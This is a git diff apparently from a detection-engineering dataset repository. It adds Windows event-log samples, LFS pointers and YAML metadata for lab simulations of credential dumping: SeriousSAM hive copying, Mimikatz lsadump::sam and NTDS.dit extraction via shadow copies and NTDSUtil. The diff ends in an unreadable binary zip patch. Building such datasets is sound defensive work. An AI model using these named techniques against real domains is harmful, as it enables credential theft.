ID:\t\t0x123BA4\r\n\r\nPrivileges:\t\tSeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","Category":"Special Logon","Opcode":"Info","SubjectUserSid":"S-1-5-18","SubjectUserName":"WIN-DC-9849183$","SubjectDomainName":"ATTACKRANGE","SubjectLogonId":"0x123ba4","PrivilegeList":"SeSecurityPrivilege\r\n\t\t\tSeBackupPrivilege\r\n\t\t\tSeRestorePrivilege\r\n\t\t\tSeTakeOwnershipPrivilege\r\n\t\t\tSeDebugPrivilege\r\n\t\t\tSeSystemEnvironmentPrivilege\r\n\t\t\tSeLoadDriverPrivilege\r\n\t\t\tSeImpersonatePrivilege\r\n\t\t\tSeDelegateSessionUserImpersonatePrivilege\r\n\t\t\tSeEnableDelegationPrivilege","EventReceivedTime":"2020-08-07 12:05:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:05:24","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9214364837600034816,"EventType":"AUDIT_SUCCESS","SeverityValue":2,"Severity":"INFO","EventID":4624,"SourceName":"Microsoft-Windows-Security-Auditing","ProviderGuid":"{54849625-5478-4994-A5BA-3E3B0328C30D}","Version":2,"Task":12544,"OpcodeValue":0,"RecordNumber":222358,"ProcessID":860,"ThreadID":2720,"Channel":"Security","Message":"An account was successfully logged on.\r\n\r\nSubject:\r\n\tSecurity ID:\t\tS-1-0-0\r\n\tAccount Name:\t\t-\r\n\tAccount Domain:\t\t-\r\n\tLogon ID:\t\t0x0\r\n\r\nLogon Information:\r\n\tLogon Type:\t\t3\r\n\tRestricted Admin Mode:\t-\r\n\tVirtual Account:\t\tNo\r\n\tElevated Token:\t\tYes\r\n\r\nImpersonation Level:\t\tImpersonation\r\n\r\nNew Logon:\r\n\tSecurity ID:\t\tS-1-5-18\r\n\tAccount Name:\t\tWIN-DC-9849183$\r\n\tAccount Domain:\t\tATTACKRANGE.LOCAL\r\n\tLogon ID:\t\t0x123BA4\r\n\tLinked Logon ID:\t\t0x0\r\n\tNetwork Account Name:\t-\r\n\tNetwork Account Domain:\t-\r\n\tLogon GUID:\t\t{E997D21B-1523-EC43-74FD-56C741CC408F}\r\n\r\nProcess Information:\r\n\tProcess ID:\t\t0x0\r\n\tProcess Name:\t\t-\r\n\r\nNetwork Information:\r\n\tWorkstation Name:\t-\r\n\tSource Network Address:\tfe80::c013:b6b3:a0dc:e7c1\r\n\tSource Port:\t\t51600\r\n\r\nDetailed Authentication Information:\r\n\tLogon Process:\t\tKerberos\r\n\tAuthentication Package:\tKerberos\r\n\tTransited Services:\t-\r\n\tPackage Name (NTLM only):\t-\r\n\tKey Length:\t\t0\r\n\r\nThis event is generated when a logon session is created. It is generated on the computer that was accessed.\r\n\r\nThe subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.\r\n\r\nThe logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).\r\n\r\nThe New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.\r\n\r\nThe network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.\r\n\r\nThe impersonation level field indicates the extent to which a process in the logon session can impersonate.\r\n\r\nThe authentication information fields provide detailed information about this specific logon request.\r\n\t- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.\r\n\t- Transited services indicate which intermediate services have participated in this logon request.\r\n\t- Package name indicates which sub-protocol was used among the NTLM protocols.\r\n\t- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.","Category":"Logon","Opcode":"Info","SubjectUserSid":"S-1-0-0","SubjectUserName":"-","SubjectDomainName":"-","SubjectLogonId":"0x0","TargetUserSid":"S-1-5-18","TargetUserName":"WIN-DC-9849183$","TargetDomainName":"ATTACKRANGE.LOCAL","TargetLogonId":"0x123ba4","LogonType":"3","LogonProcessName":"Kerberos","AuthenticationPackageName":"Kerberos","WorkstationName":"-","LogonGuid":"{E997D21B-1523-EC43-74FD-56C741CC408F}","TransmittedServices":"-","LmPackageName":"-","KeyLength":"0","ProcessName":"-","IpAddress":"fe80::c013:b6b3:a0dc:e7c1","IpPort":"51600","ImpersonationLevel":"%%1833","RestrictedAdminMode":"-","TargetOutboundUserName":"-","TargetOutboundDomainName":"-","VirtualAccount":"%%1843","TargetLinkedLogonId":"0x0","ElevatedToken":"%%1842","EventReceivedTime":"2020-08-07 12:05:25","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/copy-powershell.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/copy-powershell.log new file mode 100644 index 000000000..ff6b4d233 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/copy-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:30b08831e7f6ca0f9e2c6f72b6cd931ec2e567ecf95990b19e3f512bc7879719 +size 23518 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/crowdstrike_falcon.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/crowdstrike_falcon.log new file mode 100644 index 000000000..60d23a304 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/crowdstrike_falcon.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a664b289f6b09127f84a5cc967a651b4b379be8b03a29b20927fa8f8ed4e33ac +size 8413 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-powershell.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-powershell.log new file mode 100644 index 000000000..b0c7ef984 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:61136235563b4cc1a076f7ce82e5d6f1f4f071bb1f028aa1c35e3a520876694a +size 8876899 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security.log new file mode 100644 index 000000000..aa262f7f3 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d63b49a8e6fa991991e20160bc304ab2bf998d679851a1573187a2bee47045b3 +size 259315 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security_ssa.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security_ssa.log new file mode 100644 index 000000000..7af85e200 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-security_ssa.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d846230dca645c5b314305bf8d890a2ff59c0b746300de343b403be4fa4e716f +size 4126289 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-sysmon.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-sysmon.log new file mode 100644 index 000000000..ed08db482 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-sysmon.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:ae66c083bde9f793ebaa7f15807a99645b15d6f958894349e5026ced597665ea +size 12789744 diff --git a/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-system.log b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-system.log new file mode 100644 index 000000000..6acc75d3a --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/atomic_red_team/windows-system.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:9bf42e6422a9cc35b4f062788c862e6dbd8dc810f1c60d79b4dd3b1339dc53a2 +size 389967 diff --git a/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/data.yml b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/data.yml new file mode 100644 index 000000000..bb1e66244 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/data.yml @@ -0,0 +1,13 @@ +author: Generated by dataset_analyzer.py +id: 1805765d-d6b1-4877-bd35-9520939dae1f +date: '2025-08-12' +description: Automatically categorized datasets in directory detect_copy_of_shadowcopy_with_script_block_logging +environment: attack_range +directory: detect_copy_of_shadowcopy_with_script_block_logging +mitre_technique: +- T1003.002 +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational diff --git a/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log new file mode 100644 index 000000000..d71eb213f --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/detect_copy_of_shadowcopy_with_script_block_logging/windows-xml.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:69d5c0a665e22718503ada2cf7e9294dbeb3c7b1ac3f7c451a3109da4cdb7fe4 +size 34152 diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/serioussam.yml b/scripts/attack_technique_tests/T1003.002/serioussam/serioussam.yml new file mode 100644 index 000000000..923e6da58 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/serioussam.yml @@ -0,0 +1,14 @@ +author: Mauricio Velazco, Michael Haag +id: cc9b25e6-efc9-11eb-926b-550bf0943fbb +date: '2021-07-21' +description: CVE-2021-36934 exploitation using PowerShell to copy the SAM, SYSTEM + and SECURITY hives from a Volume Shadow Copy to a temp folder +environment: attack_range +directory: serioussam +mitre_technique: +- T1003.002 +datasets: +- name: windows-xml + path: /datasets/attack_techniques/T1003.002/serioussam/windows-xml.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/windows-powershell.log b/scripts/attack_technique_tests/T1003.002/serioussam/windows-powershell.log new file mode 100644 index 000000000..a561dca52 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/windows-powershell.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:fe7276e7a2f18a5f8a444e9320f545e2928358ced40269914a9b0787a6a16b79 +size 11724 diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/windows-security.log b/scripts/attack_technique_tests/T1003.002/serioussam/windows-security.log new file mode 100644 index 000000000..509360052 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:a7b0cacac904be0a03b8ab6f81f4e47b070297d64b73a09010e1219e68af35fd +size 2599573 diff --git a/scripts/attack_technique_tests/T1003.002/serioussam/windows-xml.log b/scripts/attack_technique_tests/T1003.002/serioussam/windows-xml.log new file mode 100644 index 000000000..e9e39994c --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/serioussam/windows-xml.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5fee45165d56b7dc3d5c3f809b940b9a7daf29e71c71119fc2cc7b6f56518ea4 +size 2347 diff --git a/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.log b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.log new file mode 100644 index 000000000..d718a83e6 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:f19d2035e279d3a5faaf7ac2a18f71d296f965cbe6389f8a905806ba50565b02 +size 7063 diff --git a/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.yml b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.yml new file mode 100644 index 000000000..c7d32e738 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.002/snapattack/snapattack.yml @@ -0,0 +1,14 @@ +author: Raven Tait, Splunk +id: df5b874a-91f8-4eca-bf06-2570a6f7834b +date: '2026-04-01' +description: Generated datasets for Windows Usage of Mimikatz lsadump::sam module + (PoSh) in attack range. +environment: attack_range +directory: snapattack +mitre_technique: +- T1003.002 +datasets: +- name: snapattack + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-PowerShell/Operational + path: /datasets/attack_techniques/T1003.002/snapattack/snaattack.log diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/4688_windows-security.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/4688_windows-security.log new file mode 100644 index 000000000..fa6801c55 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/4688_windows-security.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:81e1d4e381f4dc38b97c48f9fa5b0ab0b098810c321b7d4599029a9f22530259 +size 11176 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/atomic_red_team.yml b/scripts/attack_technique_tests/T1003.003/atomic_red_team/atomic_red_team.yml new file mode 100644 index 000000000..0f2d7bbb3 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/atomic_red_team.yml @@ -0,0 +1,27 @@ +author: Patrick Bareiss +id: cc9b25e1-efc9-11eb-926b-550bf0943fbb +date: '2020-10-08' +description: 'Atomic Test Results: Successful Execution of test T1003.003-1 Create + Volume Shadow Copy with NTDS.dit Successful Execution of test T1003.003-2 Copy NTDS.dit + from Volume Shadow Copy Successful Execution of test T1003.003-3 Dump Active Directory + Database with NTDSUtil Successful Execution of test T1003.003-4 Create Volume Shadow + Copy with WMI Return value unclear for test T1003.003-5 Create Volume Shadow Copy + with Powershell Successful Execution of test T1003.003-6 Create Symlink to Volume + Shadow Copy ' +environment: attack_range +directory: atomic_red_team +mitre_technique: +- T1003.003 +datasets: +- name: crowdstrike_falcon + path: /datasets/attack_techniques/T1003.003/atomic_red_team/crowdstrike_falcon.log + sourcetype: crowdstrike:events:sensor + source: crowdstrike +- name: 4688_windows-security + path: /datasets/attack_techniques/T1003.003/atomic_red_team/4688_windows-security.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Security +- name: windows-sysmon + path: /datasets/attack_techniques/T1003.003/atomic_red_team/windows-sysmon.log + sourcetype: XmlWinEventLog + source: XmlWinEventLog:Microsoft-Windows-Sysmon/Operational diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/crowdstrike_falcon.log b/scripts/attack_technique_tests/T1003.003/atomic_red_team/crowdstrike_falcon.log new file mode 100644 index 000000000..7b8073d92 --- /dev/null +++ b/scripts/attack_technique_tests/T1003.003/atomic_red_team/crowdstrike_falcon.log @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:c4275ab0ef976b0d00ba7840031a06d9f47d1beeaf4c3056d2fc7bb8fe08b38a +size 10681 diff --git a/scripts/attack_technique_tests/T1003.003/atomic_red_team/ntds_T1003.003_capattack.zip b/scripts/attack_technique_tests/T1003.003/atomic_red_team/ntds_T1003.003_capattack.zip new file mode 100644 index 0000000000000000000000000000000000000000..1987d5498b4fa7101d5b5a735cafe92906791642 GIT binary patch literal 6091235 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 